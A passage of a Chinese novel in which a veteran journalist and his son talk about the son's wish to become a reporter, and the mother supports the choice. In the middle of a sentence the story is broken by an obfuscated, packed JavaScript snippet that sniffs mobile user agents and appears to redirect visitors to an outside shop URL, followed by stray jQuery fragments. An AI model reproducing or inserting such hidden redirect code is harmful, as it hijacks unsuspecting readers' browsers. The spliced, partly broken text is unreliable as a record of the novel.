叶葆启猛地一震。这句话是他酒醉后或极度疲惫时,才会从心底最深处冒出来的呓语,从未正式对儿子讲过。它竟像一粒种子,不知何时被风刮进了儿子的心田,默默生了根,发了芽。他意识到,自己这大半生,与其说是用言语教育儿子,不如说是用背影,用气息,用那些深夜里书房不肯熄灭的灯光,用那一身总也洗不净的、混合着油墨、尘土和香烟的复杂味道,完成了最彻底的濡染。
“你想干记者,”叶葆启往前探了探身子,目光如炬,要烧穿儿子年轻的表象,“是觉得你老子这么活了一辈子,挺带劲?还是你自个儿骨子里就痒痒,就想把脑袋往麻烦里钻,就想扒开光鲜亮丽的外壳,看看底下到底是脓是血还是滚烫的良心?就想跟三教九流的人打交道,从他们嘴里、眼里、皱纹里,把被藏起来的‘真’给抠出来?”
问题像锤子,砸在砧板上。叶舟没有立刻回答。他望向阳台外。夜色完全降临了,远处的海变成一片沉厚的墨蓝,只有近处的渔火,星星点点,固执地亮着。他想了很久,久到母亲素琴悄悄起身,又给他碗里添了一勺早已凉透的汤。
“都有吧,爸。”他终于开口,声音清晰了许多,“觉得你那样活,是带劲。但更主要的是……我想弄明白。”他转过头,直视父亲,“我想弄明白,你那些本子里,那些哭啊笑啊骂啊求啊的后面,到底是一个什么样的世道,什么样的人心。我想用我自己的眼睛去看,用自己的脚去量,用自己的笔——当然,现在可能先用键盘——去记下来。记下我爸这代人怎么把一座城从旧梦里拖出来,也记下我们这代人,要把它变成什么样。爸,我觉得,总得有人去记,不然,活过就跟没活过一样,过去了就真成了灰。”
这话像一颗温暖的子弹,击中了叶葆启的心脏。他看见了一种超越血缘的、精神谱系上的确认。这不是模仿,这是觉醒;不是承袭,是对话。一种对历史与当下的勘探欲,一种近乎本能的记录冲动,这正是新闻血脉
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16904198|192343||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
里最珍贵的染色体。
素琴一直默默听着,手里无意识地捏着一只扇贝壳,边缘锋利,几乎要割破她的指尖。她终于松开手,贝壳掉在水泥地上,发出清脆一响。她看着丈夫,又看看儿子,眼里有泪光,但嘴角却慢慢弯起一个温柔的弧度。“葆启,”她说,声音海风般轻柔却坚定,“让小舟自己走吧。他大了,魂儿有自己的分量,知道该往哪边沉。是去银行数别人的钱,还是去报社写世间的理,都是他自己的修行。只要路走得正,心摆得中,是泥泞小道还是柏油大路,妈都给他留着门,温着饭。”
叶葆启长长地吁出一口气,那气息里包含了半生的风雪。他看向儿子,点了点头,那点头的幅度很小,却重若千钧。“好。路,你自己挑。但挑上了,就得认。记者这行,门槛在门框上,低头就能进;可要想在里头站稳了,走出个人样来,门槛就在你心里,在天上。得有铁打的脚板,纸薄的命,还得有……一颗摔不碎、腌不咸的心。荣耀是别人的,艰辛是自己的,守住笔